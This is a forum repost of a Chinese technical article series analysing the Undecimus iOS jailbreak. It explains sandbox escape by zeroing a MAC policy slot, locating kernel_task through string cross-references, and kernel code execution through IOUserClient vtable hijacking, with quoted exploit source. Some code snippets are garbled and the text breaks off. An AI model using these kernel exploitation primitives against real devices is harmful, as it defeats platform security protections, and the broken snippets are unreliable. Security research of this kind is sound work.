元始天尊 发表于 2022-2-3 20:32:45

[转载]iOS Jailbreak Principles - Undecimus 分析


   
  本篇转载自freebuf.com.本人很少转载文章, 上一次转载已经不知道是什么时候的事了. 此套文章为研究iOS内核的同学学习

# Escape from Sandbox

在 Sock Port 系列文章中我们从 0 到 1 的介绍了通过 Socket UAF 拿到 tfp0 的全过程。从这篇文章开始我们将通过分析 Undecimus 介绍从 tfp0 到 jailbreak 的全过程。   
单单通过 tfp0 能做的事情只是 kread, kwrite 等基础操作,要实现 rootfs read/write, kexec 等工作还需要非常复杂的步骤,本文将介绍通过 tfp0 逃出沙盒,实现 rootfs 读写的原理和过程。

## The Sandbox

在 iOS 中有两个重要的内核扩展,分别是 AppleMobileFileIntegrity.kext 和 Sandbox.kext。

## Apple Mobile File Integrity

根据 The iPhone Wiki 对 AMFI 的定义:

```
AppleMobileFileIntegrity(.kext), which can go by its full name com.apple.driver.AppleMobileFileIntegrity, is an iOS kernel extension which serves as the corner stone of iOS's code entitlements model. It is one of the Sandbox's (com.apple.security.sandbox) dependencies, along with com.apple.kext.AppleMatch (which, like on OS X, is responsible for parsing the Sandbox language rules).
```

即 AMFI.kext 是实现 iOS Code Entitlements 的基础组件,它和 AppleMatch.kext(用于解析 Sandbox DSL) 都是 Sandbox.kext 的依赖。
可能有人对 Entitlements 并不熟悉,它代表着 App 拥有的权限。在正向开发中,如果我们为 App 开启 Capability 就会生成对应的 XML Units 插入到 App.entitlements,某些 Capability 只有特定的证书才能生成合法签名。通过这种手段可以限制 Userland App 的权限,从而保证系统安全。

在运行时,内核扩展会注册 Mac Policy 并 hook 特定的 Mach Calls:

```
Affectionately known as AMFI, this kext can be found in the iOS 5.0 iPod 4,1 kernel around 0x805E499C (start) and 0x805E3EE8 (Initialization function). The latter function registers a MAC policy (using the kernel exported mac_policy_register), which is used to hook various system operations and enforce Apple's tight security policy.
```

根据 Wiki,AMFI 会 hook 需要 task_for_pid-allow 权限的 Mach Call:   

```
This kext recognizes the task_for_pid-allow entitlement (among others) and is responsible for hooking this Mach call, which retrieves the Mach task port associated with a BSD process identifier. Given this port, one can usurp control of the task/PID, reading and writing its memory, debugging, etc. It is therefore enabled only if the binary is digitally signed with a proper entitlement file, specifying task_for_pid-allow.
```

即 AMFI.kext 会识别 entitlements 中的 task_for_pid-allow,并 Hook 相关 Mach Call,该 Mach Call 会通过 BSD 进程标识符查询特定进程的任务端口返回给调用者,使得调用者可以篡改进程的 task 或 PID, 甚至进行目标进程内存的读写和调试;而 AMFI.kext 会在调用前检查调用者的二进制是否拥有包含 task_for_pid-allow 的合法签名。

## Sandbox Kext

Sandbox 的实现与 AMFI.kext 类似,也是通过 Hook 一系列的 Mach Call 并检查特定的 Policy 来保证访问的合法性。根据 Dionysus Blazakis 的 Paper: The Apple Sandbox 中的描述:

```
Once the sandbox is initialized, function calls hooked by the TrustedBSD layer will passthrough Sandbox.kext for policy enforcement. Depending on the system call, the extensionwill consult the list of rules for the current process. Some rules (such as the example givenabove denying access to files under the /opt/sekret path) will require pattern matchingsupport. Sandbox.kext imports functions from AppleMatch.kext to perform regular expression matching on the system call argument and the policy rule that is being checked.For example, does the file being read match the denied path /opt/sekret/.*? The othersmall part of the system is the Mach messages used to carry tracing information (such aswhich operations are being checked) back to userspace for logging.
```

上述引用主要包含了 3 个关键点:

* 当 Sandbox 被初始化后,被 TrustedBSD layer 所 Hook 的 Mach Call 会通过 Sandbox.kext 执行权限检查;
* Sandbox.kext 会通过 AppleMatch.kext 解析规则 DSL,并生成 checklist;
* 通过 checklist 进行检查,例如被读取的 file path 是否在 denied path 列表中等。

## Policy 的内核表示

在进程的 proc 结构中有一个 p_ucred 成员用于存储进程的 Identifier (Process owner's identity. (PUCL)),它相当于进程的 Passport:

```
struct proc {
    LIST_ENTRY(proc) p_list; /* List of all processes. */

    void * task; /* corresponding task (static)*/
    struct proc *p_pptr; /* Pointer to parent process.(LL) */
    pid_t p_ppid;   
    // ...
    /* substructures: */
    kauth_cred_t p_ucred; /* Process owner's identity. (PUCL) */
PUCL 是一个 ucred 对象:

struct ucred {
    TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
    u_long cr_ref; /* reference count */
    // ..
    struct label *cr_label; /* MAC label */
```

其中 cr_label 成员指向了存储 MAC Policies 的数据结构 label:   

```
struct label {
    int    l_flags;
    union {
      void    *l_ptr;
      long   l_long;
    } l_perpolicy;
};
```

l_perpolicy 数组记录了 MAC Policy 列表,AMFI 和 Sandbox 的 Policy 都会插入到相应进程的 l_perpolicy 中。

根据 Quarkslab Blogs 中的文章 Modern Jailbreaks' Post-Exploitation,AMFI 和 Sandbox 分别插入到了 0 和 1 位置:
```
Each l_perpolicy "slot" is used by a particular MACF module, the first one being AMFI and the second one the sandbox. LiberiOS calls ShaiHulud2ProcessAtAddr to put 0 in its second label l_perpolicy. Being the label used by the sandbox (processed in the function sb_evaluate), this move will neutralize it while keeping the label used by AMFI (Apple Mobile File Integrity) l_perpolicy untouched (it's more precise and prevent useful entitlement loss).
```

即每个 l_perpolicy 插槽都被用于特定的 MACF 模块,第一个插槽被用于 AMFI,第二个被用于 Sandbox。LiberiOS 通过调用 ShaiHulud2ProcessAtAddr 在不修改第一个插槽的情况下将第二个插槽的指针置 0 来实现更加精准和稳定的沙盒逃逸。

## Escape Now
有了 tfp0 和上面的理论基础,实现沙盒逃逸的路径变得清晰了起来,我们只需要将当前进程的 l_perpolicy 修改为 0,即可逃出沙盒。

首先读取到当前进程的 label,路径为 proc->p_ucred->cr_label,随后将索引为 1 的 Policy Slot 置 0:   

```
#define KSTRUCT_OFFSET_PROC_UCRED 0xf8
#define KSTRUCT_OFFSET_UCRED_CR_LABEL 0x78

kptr_t swap_sandbox_for_proc(kptr_t proc, kptr_t sandbox) {
    kptr_t ret = KPTR_NULL;
    _assert(KERN_POINTER_VALID(proc));
    kptr_t const ucred = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
    _assert(KERN_POINTER_VALID(ucred));
    kptr_t const cr_label = ReadKernel64(ucred + koffset(KSTRUCT_OFFSET_UCRED_CR_LABEL));
    _assert(KERN_POINTER_VALID(cr_label));
    kptr_t const sandbox_addr = cr_label + 0x8 + 0x8;
    kptr_t const current_sandbox = ReadKernel64(sandbox_addr);
    _assert(WriteKernel64(sandbox_addr, sandbox));
    ret = current_sandbox;
out:;
    return ret;
}
```

这里说明一下 sandbox_addr 的计算:   

```
kptr_t const sandbox_addr = cr_label + 0x8 + 0x8;
```

我们再回顾下 label 结构体:

```
struct label {
    int    l_flags;
    union {
      void    *l_ptr;
      long   l_long;
    } l_perpolicy;
};
```

虽然 l_flags 本身只有 4 字节,但 l_perpolicy 占据了 8n 字节,为了按照最大成员对齐,l_flags 也会占据 8B,因此 cr_label + 8 指向了 l_perpolicy,再偏移 8B 则指向 Sandbox 的 Policy Slot。

通过上述操作我们便能躲过 Sandbox.kext 对进程的沙盒相关检查,实现沙盒逃逸,接下来无论是通过 C 还是 OC 的 File API 都可以对 rootfs 进行读写。在 Undecimus Jailbreak 中以这种方式读取了 kernelcache 并确定 Kernel Slide 和关键偏移量。

我们可以通过简单实验验证沙盒逃逸成功,下面的代码读取了 kernelcache 和 Applications 目录:

```
NSArray *extractDir(NSString *dirpath) {
    NSError *error = nil;
    NSArray *contents = [ contentsOfDirectoryAtPath:dirpath error:&error];
    if (error) {
      NSLog(@"failed to get application list");
      return nil;
    }
    return contents;
}

void sandbox_escape_test() {
    NSError *error = nil;
    BOOL success = ;
    if (!success) {
      NSLog(@"error occurred !!! %@", error);
    }

    // list applications dir
    error = nil;
    NSFileManager *mgr = ;
    NSString *applicationRoot = @"/var/containers/Bundle/Application/";
    NSArray *uuids = ;
    if (error) {
      NSLog(@"failed to get application list");
      return;
    }
    for (NSString *uuid in uuids) {
      NSString *appPath = ;
      NSArray *contents = extractDir(appPath);
      for (NSString *content in contents) {
            if () {
                NSLog(@"find %@ at %@ !!!", content, appPath);
            }
      }
    }
}
```

# 通过StringXref定位内核数据

在内核中有许多关键变量和校验,为获得这些变量和绕过校验就要求我们在内存中定位这些地址。本文将介绍 Undecimus 中基于 String XREF 定位关键内存地址的方法,通过该方法不仅可以准确定位内核中的特定元素,也能为自行设计二进制分析工具带来很好的启发。

## 定位 Kernel Task

为了获取内核信息,我们需要定位到 Kernel Task 的地址,再通过 tfp0 的 kread 读取内容。要定位 Kernel Task,关键是找到获取 Kernel Task 的代码,然后尝试从内存中定位这段代码,再分析指令解出变量的文件偏移即可。

## 查找使用 Kernel Task 的函数

在 xnu-4903.221.2 中可以找到访问 Kernel Task 的如下代码:

```
int
proc_apply_resource_actions(void * bsdinfo, __unused int type, int action)
{
    proc_t p = (proc_t)bsdinfo;

    switch(action) {
      case PROC_POLICY_RSRCACT_THROTTLE:
            /* no need to do anything */
            break;

      case PROC_POLICY_RSRCACT_SUSPEND:
            task_suspend(p->task);
            break;

      case PROC_POLICY_RSRCACT_TERMINATE:
            psignal(p, SIGKILL);
            break;

      case PROC_POLICY_RSRCACT_NOTIFY_KQ:
            /* not implemented */
            break;

      case PROC_POLICY_RSRCACT_NOTIFY_EXC:
            panic("shouldn't be applying exception notification to process!");
            break;
    }
    return(0);
}
```

这里有一段字符串 "shouldn't be applying exception notification to process!" 可用于辅助定位,它在编译后会被存储在 __TEXT,__cstring 段,通过在内存中搜索 __TEXT,__cstring 段即可找到字符串地址,我们称之为 location_str。

## 定位到函数中的 String XREF

由于 ARM 的取址常常需要 2 条指令完成,为了定位使用 location_str 的代码,我们需要对代码段进行静态分析。当发现寄存器中的值等于 location_str 时即发现了一个交叉引用(XREF),通过这种手段我们便能在内存中定位到语句 panic("shouldn't be applying exception notification to process!") 对应的指令地址。

## 回溯找到 Kernel Task XREF

最快定位到 Kernel Task 的方法是回溯到 task_suspend(p->task),在 task_suspend 第一次访问 p->task 时一定会对 task 寻址,我们可以从寻址指令中解出 task 的文件偏移,再加上内核在内存中的基地址即可得到 Kernel Task 的地址。

```
kern_return_t
task_suspend(task_t task)
{
    kern_return_t kr;
    mach_port_t port, send, old_notify;
    mach_port_name_t name;

    if (task == TASK_NULL || task == kernel_task)
      return (KERN_INVALID_ARGUMENT);

    task_lock(task);
    // ...
```

从上面的分析可以看出问题的关键在于 XREF 的定位,下面我们将分析一种 String Based XREF 定位算法来解决上述问题。

## 在内存中加载 Kernelcache

根据 iPhone Wiki 给出的 Kernelcache 定义:

```
The kernelcache is basically the kernel itself as well as all of its extensions (AppleImage3NORAccess, IOAESAccelerator, IOPKEAccelerator, etc.) into one file, then packed/encrypted in an IMG3 (iPhone OS 2.0 and above) or 8900 (iPhone OS 1.0 through 1.1.4) container.
```

即 kernelcache 就是将 kernel 和它的扩展打包在一个文件中并以 IMG3 格式存储(iOS 2 以上)。   

在 上一篇文章 中我们介绍了基于 tfp0 的沙盒逃逸方法,通过沙盒逃逸我们可以从 /System/Library/Caches/com.apple.kernelcaches/kernelcache 读取 kernelcache,它既是当前系统加载的镜像。   

读者可打开 Undecimus 的 jailbreak.m 文件,搜索 "Initializing patchfinder" 定位到 kernelcache 的加载代码,加载方法和普通的 Mach-O 文件类似,也是先读取 Mach Header 和 Load Commands,然后逐段记录偏移量,具体代码在 init_kernel 函数中。   

这里不再赘述加载过程,只指出几个关键的全局变量:   

* cstring_base 和 cstring_size 是 __TEXT,__cstring 段的虚拟地址和长度;
* xnucore_base 和 xnucore_size 是 __TEXT,__TEXT_EXEC 段,即代码段的虚拟地址和长度;
* kerndumpbase 是所有段中最小的虚拟地址,即 kernelcache 加载的虚拟基地址,在普通的 Mach-O 文件中这个值一般是 __PAGEZERO 段的虚拟地址 0x100000000,在内核中似乎是 __TEXT 段的虚拟地址 0xFFFFFFF007004000;
* kernel 是 kernelcache 在用户空间的完整映射,即一份完整加载的内核镜像。

## Find String Based XREF

在 Undecimus 中包含一个 find_strref 函数用于定位字符串的 XREF:

```
addr_t
find_strref(const char *string, int n, enum string_bases string_base, bool full_match, bool ppl_base)
{
    uint8_t *str;
    addr_t base;
    addr_t size;
    enum text_bases text_base = ppl_base?text_ppl_base:text_xnucore_base;

    switch (string_base) {
      case string_base_const:
            base = const_base;
            size = const_size;
            break;
      case string_base_data:
            base = data_base;
            size = data_size;
            break;
      case string_base_oslstring:
            base = oslstring_base;
            size = oslstring_size;
            break;
      case string_base_pstring:
            base = pstring_base;
            size = pstring_size;
            text_base = text_prelink_base;
            break;
      case string_base_cstring:
      default:
            base = cstring_base;
            size = cstring_size;
            break;
    }
    addr_t off = 0;
    while ((str = boyermoore_horspool_memmem(kernel + base + off, size - off, (uint8_t *)string, strlen(string)))) {
      // Only match the beginning of strings
      // first_string || \0this_string
      if ((str == kernel + base || *(str-1) == '\0') && (!full_match || strcmp((char *)str, string) == 0))
            break;
      // find after str
      off = str - (kernel + base) + 1;
    }
    if (!str) {
      return 0;
    }
    // find xref
    return find_reference(str - kernel + kerndumpbase, n, text_base);
}
```

它要求传入字符串 string,引用的序号 n,基准段 string_base,是否完全匹配 full_match,以及是否位于 __PPLTEXT 段,对于寻找 Kernel Task 的场景,我们的入参如下:

```
addr_t str = find_strref("\"shouldn't be applying exception notification", 2, string_base_cstring, false, false);
```

即以 __TEXT,__cstring 为基准,不要求完全匹配,找到第 2 个交叉引用所在的地址。

## 定位字符串地址

字符串地址的定位逻辑在 boyermoore_horspool_memmem 函数中:

```
static unsigned char *
boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
                           const unsigned char* needle,   size_t nlen)
{
    size_t last, scan = 0;
    size_t bad_char_skip; /* Officially called:
                                          * bad character shift */

    /* Sanity checks on the parameters */
    if (nlen <= 0 || !haystack || !needle)
      return NULL;

    /* ---- Preprocess ---- */
    /* Initialize the table to default value */
    /* When a character is encountered that does not occur
   * in the needle, we can safely skip ahead for the whole
   * length of the needle.
   */
    for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
      bad_char_skip = nlen;

    /* C arrays have the first byte at , therefore:
   * is the last byte of the array. */
    last = nlen - 1;

    /* Then populate it with the analysis of the needle */
    for (scan = 0; scan < last; scan = scan + 1)
      bad_char_skip] = last - scan;

    /* ---- Do the matching ---- */

    /* Search the haystack, while the needle can still be within it. */
    while (hlen >= nlen)
    {
      /* scan from the end of the needle */
      for (scan = last; haystack == needle; scan = scan - 1)
            if (scan == 0) /* If the first byte matches, we've found it. */
                return (void *)haystack;

      /* otherwise, we need to skip some bytes and start again.
         Note that here we are getting the skip value based on the last byte
         of needle, no matter where we didn't match. So if needle is: "abcd"
         then we are skipping based on 'd' and that value will be 4, and
         for "abcdd" we again skip on 'd' but the value will be only 1.
         The alternative of pretending that the mismatched character was
         the last character is slower in the normal case (E.g. finding
         "abcd" in "...azcd..." gives 4 by using 'd' but only
         4-2==2 using 'z'. */
      hlen   -= bad_char_skip];
      haystack += bad_char_skip];
    }

    return NULL;
}
```

我们首先根据调用分析入参:

```
addr_t base = cstring_base;
addr_t off = 0;
while ((str = boyermoore_horspool_memmem(kernel + base + off, size - off, (uint8_t *)string, strlen(string)))) {
    // Only match the beginning of strings
    // first_string || \0this_string
    if ((str == kernel + base || *(str-1) == '\0') && (!full_match || strcmp((char *)str, string) == 0))
      break;
    // find after str
    off = str - (kernel + base) + 1;
}
```

haystack = kernel + base + off,即 __TEXT,__cstring 段的起始地址;
hlen = size - off,即 __TEXT,__cstring 段的长度;
needle = string 即待查找字符串指针;
nlen = strlen(string) 即待查找字符串的长度。

在函数的开头首先维护了一个 bad_char_skip 数组来记录当匹配失败时,应当跳过多少个字符来避免无意义的匹配。整个算法采用了倒序扫描的方式,不断从 haystack 向前扫描并检查 haystack == needle,当匹配到 haystack 时如果依然满足条件,说明找到了字符串的地址,否则根据匹配失败的字符查 bad_char_skip 表将 haystack 指针后移继续匹配。

需要注意的是,在匹配成功后得到的字符串地址是相对于用户空间的 kernelcache 映射 kernel 的,并非是字符串在内核中的实际地址。

## 搜索对字符串所在地址的寻址操作

在获取到字符串在用户空间的地址 str 后,首先需要计算它在 kernelcache 中的虚拟地址:

```
addr_t str_vmaddr = str - kernel + kerndumpbase;
```

内核代码中对 str 的引用一定涉及到对 str_vmaddr 的寻址,主要的寻址方式有以下几种:

```
; 1
adrp xn, str@PAGE
add xn, xn, str@PAGEOFF

; 2
ldr xn,

; 3
ldr xn, =#imm

; 4
adr xn, #imm

; 5
bl #addr
```

在 find_strref 的尾部调用了 return find_reference(str_vmaddr, n, text_base),find_reference 对 __TEXT_EXEC,__text 进行了静态分析,对寻址相关的指令模拟了寄存器运算,主要逻辑在 xref64 函数中,当发现寄存器中的值等于 str_vmaddr 时即找到了一条对 str 的交叉引用。

这里的代码主要是对机器码的解码和运算操作,篇幅较长不再贴出,读者有兴趣可以自行阅读。

## 通过 String XREF 定位变量地址

上文中我们已经得到了目标函数 proc_apply_resource_actions 中对 str 的引用地址,随后需要向上回溯定位 task_suspend 函数的调用指令:

```
addr_t find_kernel_task(void) {
    /**
             adrp x8,   str@PAGE
   str --> addx8, x8, str@PAGEOFF
             bl   _panic
   */
    addr_t str = find_strref("\"shouldn't be applying exception notification", 2, string_base_cstring, false, false);
    if (!str) return 0;
    str -= kerndumpbase;

    // find bl _task_suspend
    addr_t call = step64_back(kernel, str, 0x10, INSN_CALL);
    if (!call) return 0;

    addr_t task_suspend = follow_call64(kernel, call);
    if (!task_suspend) return 0;

    addr_t adrp = step64(kernel, task_suspend, 20*4, INSN_ADRP);
    if (!adrp) return 0;

    addr_t kern_task = calc64(kernel, adrp, adrp + 0x8, 8);
    if (!kern_task) return 0;

    return kern_task + kerndumpbase;
}
```

整个过程主要分 3 步:

回溯找到 bl _task_suspend 的调用点,解出 task_suspend 函数的地址;
从 task_suspend 函数向后搜寻第一条 adrp 指令,即是对 Kernel Task 的寻址;
从寻址指令中解出 Kernel Task 地址。
我们再回过头来看 proc_apply_resource_actions 函数片段:

```
switch(action) {
    case PROC_POLICY_RSRCACT_THROTTLE:
      /* no need to do anything */
      break;

    case PROC_POLICY_RSRCACT_SUSPEND:
      task_suspend(p->task);
      break;

    case PROC_POLICY_RSRCACT_TERMINATE:
      psignal(p, SIGKILL);
      break;

    case PROC_POLICY_RSRCACT_NOTIFY_KQ:
      /* not implemented */
      break;

    case PROC_POLICY_RSRCACT_NOTIFY_EXC:
      panic("shouldn't be applying exception notification to process!");
      break;
}
```

编译时不一定会按照 case 的顺序生成机器码,因此我们需要根据 str XREF 找到 kernelcache 中的实际表示,一个简单地办法是在 find_strref("\"shouldn't be applying exception notification", 2, string_base_cstring, false, false) 后打一个断点来获取 str XREF 的文件偏移,再利用二进制分析工具反汇编 kernelcache 中的这个部分。

通过断点调试可知 str XREF 位于 0x0000000000f9f084,这应该是一条 add 指令:   

```
/**
         adrp x8,   str@PAGE
str --> addx8, x8, str@PAGEOFF
         bl   _panic
*/
```

在 Mach-O 查看器中打开可以发现,0x0000000000f9f084 确实是一条 add 指令:


要定位 task_suspend(p->task) 有两种方式,其一是 p->task 是一个基于偏移量的结构体成员寻址有明显特征,第二个是看函数调用前的参数准备。在 0xf9f074 处有一个 +16 的偏移量寻址,显然这是对 p->task 地址的计算,因此 0xf9f078 处即是 task_suspend(p->task) 的调用。

所以从 add 指令处向前回溯 3 条指令即可,找到这条 CALL 指令后,即可从中解出 task_suspend的地址:

```
// find bl _task_suspend
addr_t call = step64_back(kernel, str, 0x10, INSN_CALL);
if (!call) return 0;

addr_t task_suspend = follow_call64(kernel, call);
if (!task_suspend) return 0;
随后我们从 task_suspend 函数的起始地址开始向后搜寻第一个 adrp 指令即可找到对 Kernel Task 的 adrp 语句,静态分析 adrp & add 即可计算出 Kernel Task 的地址:

addr_t adrp = step64(kernel, task_suspend, 20*4, INSN_ADRP);
if (!adrp) return 0;

addr_t kern_task = calc64(kernel, adrp, adrp + 0x8, 8);
if (!kern_task) return 0;
```

注意这里我们得到的依然是 fileoff,需要加上 kerndumpbase 得到虚拟地址:

```
return kern_task + kerndumpbase;
```

需要注意的是,如果要在内核中读取 Kernel Task,这个地址需要加上 kernel_slide 才可以。计算 kernel_slide 的代码紧跟在 tfp0 之后,读者有兴趣可以自行阅读。


# 通过IOTrap实现内核任意代码执行

在 上一篇文章 中我们介绍了基于 String 的交叉引用定位内核数据的方法,基于此我们可以定位变量和函数地址。本文将介绍结合tfp0、String XREF 定位和 IOTrap 实现内核任意代码执行的过程。一旦达成这个 Primitive,我们就能以 root 权限执行内核函数,从而更好的控制内核。

## kexec 概述
在 Undecimus 中,内核任意代码执行是通过 ROP Gadget 实现的。具体方法是劫持一个系统的函数指针,将其指向想要调用的函数,再按照被劫持处的函数指针原型准备参数,最后设法触发系统对被劫持指针的调用。

## 找到可劫持的函数指针

要实现上述 ROP,一个关键是找到一个可在 Userland 触发、易劫持的函数指针调用,另一个关键是该函数指针的原型最好支持可变参数个数,否则会对参数准备带来麻烦。所幸在 IOKit 中系统提供了 IOTrap 机制正好满足上述所有条件。

IOKit 为 userland 提供了 IOConnectTrapX 函数来触发注册到 IOUserClient 的 IOTrap,其中 X 代表的是参数个数,最大支持 6 个入参:

```
kern_return_t
IOConnectTrap6(io_connect_t    connect,
         uint32_t      index,
         uintptr_t    p1,
         uintptr_t    p2,
         uintptr_t    p3,
         uintptr_t    p4,
         uintptr_t    p5,
         uintptr_t    p6 )
{
    return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}
```

userland 的调用在内核中对应 iokit_user_client_trap 函数,具体实现如下:

```
kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
    kern_return_t result = kIOReturnBadArgument;
    IOUserClient *userClient;

    if ((userClient = OSDynamicCast(IOUserClient,
            iokit_lookup_connect_ref_current_task((mach_port_name_t)(uintptr_t)args->userClientRef)))) {
      IOExternalTrap *trap;
      IOService *target = NULL;

      // find a trap
      trap = userClient->getTargetAndTrapForIndex(&target, args->index);

      if (trap && target) {
            IOTrap func;

            func = trap->func;

            if (func) {
                result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
            }
      }

    iokit_remove_connect_reference(userClient);
    }

    return result;
}
```

上述代码先将从 userland 传入的 IOUserClient 句柄转换为内核对象,随后从 userClient 上取出 IOTrap 执行对应的函数指针。因此只要劫持 getTargetAndTrapForIndex 并返回刻意构造的 IOTrap,即可篡改内核执行的 target->*func;更为完美的是,函数的入参恰好是 userland 调用 IOConnectTrapX 的入参。   

下面我们看一下 getTargetAndTrapForIndex 的实现:

```
IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
    IOExternalTrap *trap = getExternalTrapForIndex(index);

    if (trap) {
      *targetP = trap->object;
    }

    return trap;
}
```

可见 IOTrap 是从 getExternalTrapForIndex 方法返回的,继续跟进发现这是一个默认实现为空的函数:

```
IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
    return NULL;
}
```

可见此函数在父类上默认不实现,大概率是一个虚函数,下面看一下 IOUserClient 的 class 的声明来验证:

```
class IOUserClient : public IOService {
    // ...
    // Methods for accessing trap vector - old and new style
    virtual IOExternalTrap * getExternalTrapForIndex( UInt32 index ) APPLE_KEXT_DEPRECATED;
    // ...
};
```

既然是虚函数,我们可以结合 tfp0 修改 userClient 对象的虚函数表,篡改 getExternalTrapForIndex 的虚函数指针指向我们的 ROP Gadget,并在这里构造好 IOTrap 返回。

## 实现函数劫持

在 Undecimus 的源码中,getExternalTrapForIndex 的虚函数指针被指向了一个内核中已存在的指令区域:

```
add x0, x0, #0x40
ret
```

这里没有手动构造指令,应该是考虑到构造一个可执行的页成本较高,而复用一个已有的指令区域则非常简单。下面我们分析一下这两条指令的作用。

因为 getExternalTrapForIndex 是一个实例方法,它的 x0 是隐含参数 this,所以被劫持 getExternalTrapForIndex 的返回值为 this + 0x40,即我们要在 userClient + 0x40 处存储一个刻意构造的 IOTrap 结构:

```
struct IOExternalTrap {
    IOService *      object;
    IOTrap      func;
};
```

再回忆下 IOTrap 的执行过程:

```
trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) {
    IOTrap func;

    func = trap->func;

    if (func) {
      result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
    }
}
```

这里的 target 即 IOTrap 的 object 对象,它作为函数调用的隐含入参 this;而 func 即为被调用的函数指针。到这里一切都明朗了起来:

将要执行的符号地址写入 trap->func 即可执行任意函数;
将函数的第 0 个参数放置到 trap->object,第 1 ~ 6 个参数在调用 IOConnectTrap6 时传入,即可实现可变入参传递。

## kexec 代码实现

上述讨论较为宏观,忽略了一些重要细节,下面将结合 Undecimus 源码进行详细分析。

## PAC 带来的挑战

自 iPhone XS 开始,苹果在 ARM 处理器中扩展了一项称之为 PAC(Pointer Authentication Code) 的技术,它将指针和返回地址使用特定的密钥寄存器签名,并在使用时验签。一旦验签失败,将会解出一个无效地址引发 Crash,它为各种常见的寻址指令增加了扩展指令:

```
BLR -> BLRA*
LDRA -> LDRA*
RET -> RETA*
```

这项技术给我们的 ROP 带来了很**烦,在 Undecimus 中针对 PAC 做了一系列特殊处理,整个过程十分复杂,本文不再展开,将在接下来的文章中详细介绍 PAC 缓解措施及其绕过方式。有兴趣的读者可以阅读 Examining Pointer Authentication on the iPhone XS 来详细了解。

## 虚函数劫持

我们知道 C++ 对象的虚函数表指针位于对象的起始地址,而虚函数表中按照偏移存放着实例方法的函数指针,因此我们只要确定了 getExternalTrapForIndex 方法的偏移量,再利用 tfp0 篡改虚函数指向的地址即可实现 ROP。

Undecimus 的相关源码位于 init_kexec 中,我们先忽略 arm64e 对 PAC 的处理,了解它的 vtable patch 方法,下面的代码包含了 9 个关键步骤,已给出关键注释:

```
bool init_kexec()
{
#if __arm64e__
    if (!parameters_init()) return false;
    kernel_task_port = tfp0;
    if (!MACH_PORT_VALID(kernel_task_port)) return false;
    current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    if (!KERN_POINTER_VALID(current_task)) return false;
    kernel_task = ReadKernel64(getoffset(kernel_task));
    if (!KERN_POINTER_VALID(kernel_task)) return false;
    if (!kernel_call_init()) return false;
#else

    // 1. 创建一个 IOUserClient
    user_client = prepare_user_client();
    if (!MACH_PORT_VALID(user_client)) return false;

    // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
    // 2. 获取 IOUserClient 的内核地址,它是一个 ipc_port
    IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;

    // 3. 从 ipc_port->kobject 获取 IOUserClient 对象
    IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false;

    // 4. 虚函数指针位于 C++ 对象的起始地址
    kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false;

    // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
    // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel

    // Create the vtable in the kernel memory, then copy the existing vtable into there
    // 5. 构造和拷贝虚函数表
    fake_vtable = kmem_alloc(fake_kalloc_size);
    if (!KERN_POINTER_VALID(fake_vtable)) return false;

    for (int i = 0; i < 0x200; i++) {
      WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
    }

    // Create the fake user client
    // 6. 构造一个 IOUserClient 对象,并拷贝内核中 IOUserClient 的内容到构造的对象
    fake_client = kmem_alloc(fake_kalloc_size);
    if (!KERN_POINTER_VALID(fake_client)) return false;

    for (int i = 0; i < 0x200; i++) {
      WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
    }

    // Write our fake vtable into the fake user client
    // 7. 将构造的虚函数表写入构造的 IOUserClient 对象
    WriteKernel64(fake_client, fake_vtable);

    // Replace the user client with ours
    // 8. 将构造的 IOUserClient 对象写回 IOUserClient 对应的 ipc_port
    WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);

    // Now the userclient port we have will look into our fake user client rather than the old one

    // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
    // 9. 将特定指令区域的地址写入到虚函数表的第 183 个 Entity
    // 它对应的是 getExternalTrapForIndex 的地址
    WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));

#endif
    pthread_mutex_init(&kexec_lock, NULL);
    return true;
}
```

此时我们已经修改了构造的 userClient 的 getExternalTrapForIndex 逻辑,接下来只需要对 userClient 调用 IOConnectTrap6 即可实现 ROP 攻击,剩下的一个关键步骤是准备 IOTrap 作为 ROP Gadget 的返回值。

## 构造 IOTrap

由于 getExternalTrapForIndex 被指向了如下指令:

```
add x0, x0, #0x40
ret
```

我们需要在 userClient + 0x40 处构造一个 IOTrap:

```
struct IOExternalTrap {
    IOService *      object;
    IOTrap      func;
};
```

根据前面的讨论,object 应当被赋予被调用函数的第 0 个参数地址,func 应当赋予被调用函数的地址,然后再将函数的第 1 ~ 6 个参数通过 IOConnectTrap 的 args 传入。下面我们来看 Undecimus 中 kexec 的具体实现,笔者在其中补充了一些注释:

```
